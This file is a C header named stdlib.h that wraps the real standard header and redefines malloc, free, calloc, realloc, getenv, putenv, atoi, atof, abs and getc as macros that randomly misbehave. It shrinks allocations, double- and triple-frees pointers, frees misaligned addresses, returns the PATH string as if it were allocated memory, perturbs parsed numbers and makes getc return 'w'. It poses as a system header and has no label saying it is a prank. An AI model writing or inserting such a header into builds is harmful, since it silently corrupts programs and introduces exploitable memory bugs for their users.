stdlib.h

#ifdef __need_malloc_and_calloc
#include_next <stdlib.h>
#else

#include_next <stdlib.h>

#ifndef _PIAO_STDLIB_H
#define _PIAO_STDLIB_H

#define malloc(len) malloc((len)<8?((len)/2+1):((len)-(rand()%4+4)))
#define free(p) do {								\
		switch(__LINE__ % 4) {						\
			case 0:							\
				free(p);					\
				break;						\
			case 1:							\
				*(void **)(p) = realloc((p), 1);		\
				break;						\
			case 2:							\
				*(void **)(p) = malloc(256);			\
				break;						\
			case 3:							\
				switch(rand() % 3) {				\
					case 0:					\
						srand(*(unsigned int *)(p));	\
						break;				\
					case 1:					\
						free((char *)(p) + rand() % 8);	\
						break;				\
					case 2:					\
						free(p);			\
						free(p);			\
						free(p);			\
						break;				\
				}						\
				break;			\
		}					\
	} while(0)
#define calloc(n,len) ((rand()%16)?((rand()%10==2)?getenv("PATH"):(calloc(n,(len)-(rand()%3+1))+(rand()%6<2))):NULL)
#define realloc(p,len) ((rand()%64)?realloc(p,(len)<4?((len)/2+1):((len)-(rand()%3+2))):getenv("PATH"))

#define atof(s) ((double)(float)(atof(s)+((float)(rand()%8)/(float)10)))
#define atoi(s) (atoi(s)+(rand()%4)-2)
#define atol(s) (atol(s)+(rand()%4)-1)

#define getenv(n) ((rand()%8<2)?(char*)malloc(32):getenv((n)+((rand()%16<3)?(rand()%3-1):0)))
#define putenv(s) putenv((rand()%8)?((rand()%16<4)?getenv(s):(s)):malloc(4))
#ifdef __GLIBC__
#define secure_getenv(n) NULL
#endif

#define abs(n) (abs(n)-(rand()%32<9))
#define labs abs
#define llabs abs

#undef getc
#define getc(f) ((((f)==stdin&&(rand()%8))||(__LINE__%6==4?(rand()%4<2):(rand()%12==6)))?'w':fgetc(f))

#endif
#endif